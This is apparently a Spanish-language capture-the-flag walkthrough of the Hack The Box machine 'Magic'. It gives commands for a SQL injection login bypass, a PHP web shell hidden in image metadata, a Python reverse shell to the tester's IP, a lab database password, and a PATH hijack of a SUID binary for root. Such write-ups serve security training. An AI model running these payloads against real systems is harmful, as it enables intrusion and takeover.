echo "10.129.1.129 magic.htb" | sudo tee -a /etc/hosts

Pasted image 20210410151244.png

nmap -A -p- -oA output 10.129.1.129 --min-rate=10000 --script=vuln --script-timeout=15 -v

Pasted image 20210410151747.png

nmap -T4 -oA output 10.129.1.129 --script=vuln -v

Pasted image 20210410152708.png

nmap -sT -sV -sC -Pn -p- 10.129.1.129

nikto -h 10.129.1.129:80

gobuster dir -u http://10.129.1.129/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php -o scans/gobuster-root-medium-php

Abajo le das click a login http://magic.htb/login.php

Ponemos en usuario ' or 1=1;-- Puede ser que la pagina deberia de estar haciendo un comando como el siguiente

SELECT * from users where username = '' or 1=1-- -and password = 'admin';

Pasted image 20210410152403.png

Pasted image 20210410164218.png

Veo que esto se redirecciona a http://magic.htb/upload.php `

<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

`

Pasted image 20210410154354.png

Trate de subir el archivo shell.php y me salio este mensaje.

Cambie el formato del archivo mv shell.php shell.php.jpg

Pasted image 20210410154828.png

exiftool -Comment='<?php system($_GET['cmd']); ?>' cat.jpeg

Pasted image 20210410160205.png

Pasted image 20210410162408.png

Me dirijo a magic.htb/images/uploads/logo.php.png?cmd=id

Pasted image 20210410171815.png

http://magic.htb/images/uploads/logo.php.png?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.125",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Pasted image 20210410171912.png

nc -lvnp 1234

`

python3 -c "import pty;pty.spawn('/bin/bash')" cd /var/www `

Pasted image 20210410172502.png

Pasted image 20210410173246.png

Para estar seguros que theseus existe

cat /etc/passwd
mysqldump --databases Magic -utheseus -piamkingtheseus

Pasted image 20210410174819.png

Vemos las credenciales y nos logeamos con theseus

Pasted image 20210410175036.png

python2 -m SimpleHTTPServer `

wget http://10.10.14.25:8000/LinEnum.sh

`

find / -user root -type f -perm -4000  -ls 2>/dev/null

Pasted image 20210410181518.png

sysinfo no es un binary que se encuentra en Linux.

`

ltrace /bin/sysinfo 2>&1 | grep popen

`

Pasted image 20210410181801.png

`

echo "/bin/bash" >> /tmp/free chmod +x free PATH=/tmp:$PATH echo $PATH /bin/sysinfo ` Pasted image 20210410182201.png

Pasted image 20210410182346.png

boxes

copyright©2022 Cu3rv0x all rights reserved